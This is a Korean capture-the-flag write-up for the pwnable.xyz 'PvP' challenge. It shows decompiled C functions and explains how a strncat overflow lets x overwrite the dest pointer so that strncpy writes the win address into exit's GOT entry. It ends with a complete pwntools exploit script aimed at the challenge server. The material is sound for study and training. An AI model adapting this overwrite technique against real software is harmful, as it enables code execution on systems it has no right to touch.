[pwnable.xyz]PvP

srand(time(0))의 랜덤 값만큼 x에 계속 붙여 쓸 수 있다.

unsigned __int64 short_append()
{
  int v0; // ST0C_4
  char s; // [rsp+10h] [rbp-30h]
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = rand() % 32;
  printf("Give me %d chars: ", v0);
  memset(&s, 0, 32uLL);
  read(0, &s, v0);
  strncat(x, &s, v0);
  return __readfsqword(0x28u) ^ v3;
}

dest에 원하는 길이만큼 x로 덮을 수 있다.

int save_it()
{
  size_t v0; // rax
  int result; // eax
  size_t n; // [rsp+Ch] [rbp-4h]

  if ( !dest )
  {
    v0 = strlen(x);
    dest = malloc(v0);
  }
  printf("How many bytes is your message? ");
  LODWORD(n) = read_int32();
  if ( n <= 1024 )
    result = strncpy(dest, x, n);
  else
    result = puts("Invalid");
  return result;
}

랜덤 길이만큼 x에서 strncat할 수 있고 1024이하 원하는 길이만큼 dest로 strncpy할 수 있다.

한번도 호출안된 함수의 got를 dest에 덮고 got를 win으로 덮어주면 된다. win을 먼저 3바이트 써놓고 strncat으로 dest를 exit@got로 덮고 save_it으로 3바이트를 덮고 handler실행되기 전까지 기다리면 된다.

exploit.py

from pwn import *
from ctypes import *

context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30022)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
lib = CDLL('/lib/x86_64-linux-gnu/libc.so.6')

x = 0x00000000006022A0 # 1024
dest = 0x00000000006026A0 # 8
message = 0x00000000006026A8
count = 0

def quit():
	sa('>','0')

def short_append():
	global count
	sa('>','1')
	byte = int(p.recvuntil('chars').split(' ')[3])
	if byte == 0:
		pass
	else:
		count += byte
		sa(':','A'*byte)

def long_append():
	global count
	sa('>','2')
	byte = int(p.recvuntil('chars').split(' ')[3])
	if byte == 0:
		pass
	else:
		count += byte
		sa(':','A'*byte)

def print_it():
	sa('>','3')

def save_it1():
	sa('>','4')

def save_it2(byte):
	sa('>','4')
	sa('?',str(byte))

sa('>','2')
byte = int(p.recvuntil('chars').split(' ')[3])
count += byte
sa(':','\x2d\x0b\x40' + 'A'*(byte-3))
log.info('count = {}'.format(count))

while True:
	if count < 1000:
		short_append()
	else:
		break
	log.info('count : {}'.format(count))

while True:
	sa('>','1')
	byte = int(p.recvuntil('chars').split(' ')[3])
	log.info('byte : {}'.format(byte))
	if byte == 0:
		pass
	else:
		if count == 1024:
			sa(':','\xa0\x20\x60')
			break
		else:
			sa(':','A')
			count += 1

save_it2(3)
log.info('Sleep 1 min -> exit')
p.interactive()